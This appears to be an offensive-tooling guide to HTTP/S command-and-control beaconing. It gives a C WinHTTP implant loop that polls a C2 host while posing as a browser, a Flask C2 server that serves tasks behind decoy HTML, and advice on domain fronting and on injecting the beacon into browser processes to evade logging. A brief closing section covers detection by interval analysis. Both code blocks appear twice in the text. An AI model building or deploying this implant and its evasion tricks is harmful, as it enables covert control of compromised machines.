HTTP/S Beaconing
Overview
HTTP/S is the highest-bandwidth practical C2 transport and the one most defenders have built tooling around. The tension for an operator is that any proxy, DPI appliance or cloud-hosted CASB can inspect, filter or alert on HTTP traffic in ways that DNS cannot. The response is traffic shaping: crafting requests and responses that look, byte-for-byte, like something a browser already sends.
A malleable profile (the term comes from Cobalt Strike, but the concept applies to any framework) is a specification that controls every observable attribute of the HTTP exchange: URI patterns, header order and values, body structure, response codes, and timing. A well-built profile passes visual inspection of a proxy log because the traffic genuinely resembles the thing it is impersonating.
CDN domain fronting — connecting to a CDN edge over TLS while specifying a different Host
header — was an effective technique that major CDN providers have actively blocked since 2018.
It still works against CDN providers that have not patched it, but the list shrinks each year.
The call chain
- 1build HTTP requestConstruct headers, URI and body to match the chosen profile (CDN poll, jQuery fetch, etc.).
- 2WinHttpOpen / curl_easy_initOpen a session with a spoofed User-Agent matching the profiled browser version.
- 3WinHttpConnect + WinHttpOpenRequestConnect to the C2 listener (optionally fronted through a CDN or redirector).
- 4WinHttpSendRequest + WinHttpReceiveResponseSend the beacon; parse status code and response body for tasking.
- 5jitter sleepSleep for base interval ± jitter percentage before the next check-in.
Reference implementation
Minimal beacon (C, WinHTTP)
#include <windows.h>
#include <winhttp.h>
#pragma comment(lib, "winhttp.lib")
#define C2_HOST L"updates.example.com"
#define C2_PORT 443
#define C2_URI L"/api/v1/stats"
#define UA L"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
static DWORD beacon_interval = 30000; // ms
static DWORD jitter_pct = 20;
static DWORD sleep_jittered(void) {
DWORD j = beacon_interval * jitter_pct / 100;
DWORD delay = beacon_interval - j + (rand() % (2 * j + 1));
Sleep(delay);
return delay;
}
void beacon_loop(void) {
HINTERNET session = WinHttpOpen(UA, WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
HINTERNET connect = WinHttpConnect(session, C2_HOST, C2_PORT, 0);
for (;;) {
HINTERNET req = WinHttpOpenRequest(connect, L"GET", C2_URI,
NULL, WINHTTP_NO_REFERER,
WINHTTP_DEFAULT_ACCEPT_TYPES,
WINHTTP_FLAG_SECURE);
// mimic a real browser — add headers the profile demands
WinHttpAddRequestHeaders(req,
L"Accept: text/html,application/xhtml+xml,*/*
"
L"Accept-Language: en-US,en;q=0.9
"
L"Cache-Control: no-cache
",
(DWORD)-1, WINHTTP_ADDREQ_FLAG_ADD);
WinHttpSendRequest(req, WINHTTP_NO_ADDITIONAL_HEADERS, 0,
WINHTTP_NO_REQUEST_DATA, 0, 0, 0);
WinHttpReceiveResponse(req, NULL);
DWORD status = 0, sz = sizeof status;
WinHttpQueryHeaders(req,
WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_NUMBER,
WINHTTP_HEADER_NAME_BY_INDEX, &status, &sz, NULL);
if (status == 200) {
// read body, decode task, dispatch
// ... omitted ...
}
WinHttpCloseHandle(req);
sleep_jittered();
}
}#include <windows.h>
#include <winhttp.h>
#pragma comment(lib, "winhttp.lib")
#define C2_HOST L"updates.example.com"
#define C2_PORT 443
#define C2_URI L"/api/v1/stats"
#define UA L"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
static DWORD beacon_interval = 30000; // ms
static DWORD jitter_pct = 20;
static DWORD sleep_jittered(void) {
DWORD j = beacon_interval * jitter_pct / 100;
DWORD delay = beacon_interval - j + (rand() % (2 * j + 1));
Sleep(delay);
return delay;
}
void beacon_loop(void) {
HINTERNET session = WinHttpOpen(UA, WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
HINTERNET connect = WinHttpConnect(session, C2_HOST, C2_PORT, 0);
for (;;) {
HINTERNET req = WinHttpOpenRequest(connect, L"GET", C2_URI,
NULL, WINHTTP_NO_REFERER,
WINHTTP_DEFAULT_ACCEPT_TYPES,
WINHTTP_FLAG_SECURE);
// mimic a real browser — add headers the profile demands
WinHttpAddRequestHeaders(req,
L"Accept: text/html,application/xhtml+xml,*/*
"
L"Accept-Language: en-US,en;q=0.9
"
L"Cache-Control: no-cache
",
(DWORD)-1, WINHTTP_ADDREQ_FLAG_ADD);
WinHttpSendRequest(req, WINHTTP_NO_ADDITIONAL_HEADERS, 0,
WINHTTP_NO_REQUEST_DATA, 0, 0, 0);
WinHttpReceiveResponse(req, NULL);
DWORD status = 0, sz = sizeof status;
WinHttpQueryHeaders(req,
WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_NUMBER,
WINHTTP_HEADER_NAME_BY_INDEX, &status, &sz, NULL);
if (status == 200) {
// read body, decode task, dispatch
// ... omitted ...
}
WinHttpCloseHandle(req);
sleep_jittered();
}
}Simple C2 server (Python / Flask)
from flask import Flask, request, Response
import base64, json, queue
app = Flask(__name__)
tasks = queue.Queue()
@app.get('/api/v1/stats')
def checkin():
beacon_id = request.headers.get('X-Session', 'unknown')
if tasks.empty():
# return decoy HTML so the response looks like a real web page
return Response('<html><body>OK</body></html>',
content_type='text/html')
task = tasks.get_nowait()
# encode task in a custom header or a JSON body field
return Response(base64.b64encode(json.dumps(task).encode()),
content_type='application/octet-stream')
@app.post('/api/v1/stats')
def result():
data = base64.b64decode(request.data)
print('[<]', data.decode(errors='replace'))
return Response(status=204)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8080, ssl_context='adhoc')from flask import Flask, request, Response
import base64, json, queue
app = Flask(__name__)
tasks = queue.Queue()
@app.get('/api/v1/stats')
def checkin():
beacon_id = request.headers.get('X-Session', 'unknown')
if tasks.empty():
# return decoy HTML so the response looks like a real web page
return Response('<html><body>OK</body></html>',
content_type='text/html')
task = tasks.get_nowait()
# encode task in a custom header or a JSON body field
return Response(base64.b64encode(json.dumps(task).encode()),
content_type='application/octet-stream')
@app.post('/api/v1/stats')
def result():
data = base64.b64decode(request.data)
print('[<]', data.decode(errors='replace'))
return Response(status=204)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8080, ssl_context='adhoc')Profile design
A profile controls what an observer sees; it does not change what the kernel records. Consider each observable tier independently:
| Tier | Controlled by profile | Controlled by host setup |
|---|---|---|
| URI / headers | Yes | — |
| TLS JA3 fingerprint | Partially (cipher order) | Cert, ALPN |
| Beacon interval shape | Yes (jitter math) | — |
| Process making the call | No | Injection into browser |
| DNS resolution path | No | CDN / redirector |
| Certificate / domain age | No | Infra planning |
The process making the WinHTTP call is logged by ETW-TI and Sysmon regardless of what the HTTP traffic looks like. Injecting the beacon into a browser process or legitimate updater addresses this, but raises the cost and the footprint of the implant significantly.
Detection
Beacon interval analysis (computing the autocorrelation of outbound request timestamps per destination) finds jittered beacons at sub-second precision given enough samples. A one-hour observation window with 30-second beacons yields ~120 samples — more than enough to distinguish a Gaussian-jittered beacon from browser traffic.